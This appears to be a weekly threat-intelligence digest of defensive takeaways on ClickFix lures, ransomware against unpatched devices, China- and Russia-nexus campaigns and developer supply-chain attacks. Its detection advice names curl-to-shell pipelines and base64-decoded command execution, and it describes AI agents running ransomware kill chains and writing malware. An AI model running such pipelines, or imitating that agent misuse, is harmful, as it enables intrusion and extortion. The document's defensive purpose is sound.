Weekly Threat Intel
July 10–17, 2026

ClickFix operators have identified that impersonating a trusted AI brand increases click-through, and they are now running it as a repeatable playbook across platforms. All three campaigns share the same core weakness they exploit: a user who believes they're following a legitimate fix or verification step will paste and run almost anything. None of the domains or hosting infrastructure here are durable — treat them as disposable and focus detection on the behavior. Alert on any shell or PowerShell process launched within seconds of clipboard activity in a browser, on curl | zsh and curl | sh pipelines, and on base64-decoded command execution regardless of what page the user was just looking at.

The lesson isn't a new exploit — it's that a government network carrying eight years of unpatched edge devices is now a shared hunting ground for every ransomware crew simultaneously. None of these CVEs are novel; several have public patches years old. Prioritize remediation by exposure and confirmed in-the-wild status rather than CVSS score alone, and assume that any device left unpatched this long has already been probed by more than one actor. After patching, hunt for the ransom-note filenames and payload hashes listed here on any historically exposed system — the exploit window may already have closed while an implant remained.

Both cases point to the same emerging reality: the barrier between "having an idea for an attack" and "having a working attack" is collapsing, because the AI can now do the engineering. JADEPUFFER shows this at the operational level — a ransomware campaign that runs its full kill chain without human-in-the-loop decisions — while Patriot Bait shows it at the development level, where an agent replaces the coding and debugging work a threat actor would otherwise need real skill to perform. Defenses built around the assumption that malware quality correlates with actor sophistication need revisiting; a low-skill actor with API access to a capable model can now field tooling that previously required a team.

Four separate China-nexus reports in one week, none relying on a fresh zero-day, confirm that compromised legitimate infrastructure — routers, government CMS platforms, webmail servers — remains the preferred and most productive delivery layer. Every case here defeats reputation-based blocking by riding on infrastructure that was trustworthy until it wasn't. Defenders running Roundcube, exposed Ruckus/ASUS devices, or public-facing government portals should treat "still on an old, patched-late version" as an active risk indicator, and government IT teams especially should audit for the webshell and backdoor filenames named across these reports.

Two independent Russia-nexus operations against Ukraine-adjacent targets in the same week, one brand-new and one recurring, signal sustained investment regardless of which CVE or lure happens to be current. Disable Outlook's LoadMacroProviderOnBoot and monitor the Security\Level registry value defenders can check directly; treat unexpected filen.io traffic from endpoints as suspicious by default; and for energy-sector defenders specifically, apply heightened scrutiny to LNK attachments and conference-registration lures through the winter months.

Both cases target the trust developers place in their own tooling, and the AsyncAPI case in particular shows attackers designing for takedown resistance from the start. Pin and verify hashes for any installer or package outside a locked-down internal mirror, especially ones bearing the names of common technical utilities. For the AsyncAPI-style C2 pattern, egress monitoring needs to extend beyond domain/IP blocklists to protocol-level detection — unexpected WebSocket connections to Nostr relay hostnames, IPFS gateway fetches, or DHT bootstrap traffic from a build server or CI runner has essentially no legitimate use case.

None of this week's secondary stories needed a novel technique — they scaled existing ones: more PhaaS kit iterations, more typosquat ticketing domains, more crypto-targeting plugins. The consistent defensive answer across all of them is the same one that applies to the week's bigger stories: verify before you trust a brand, a login page, or an installer, and assume that infrastructure behind a familiar name may not be what it claims.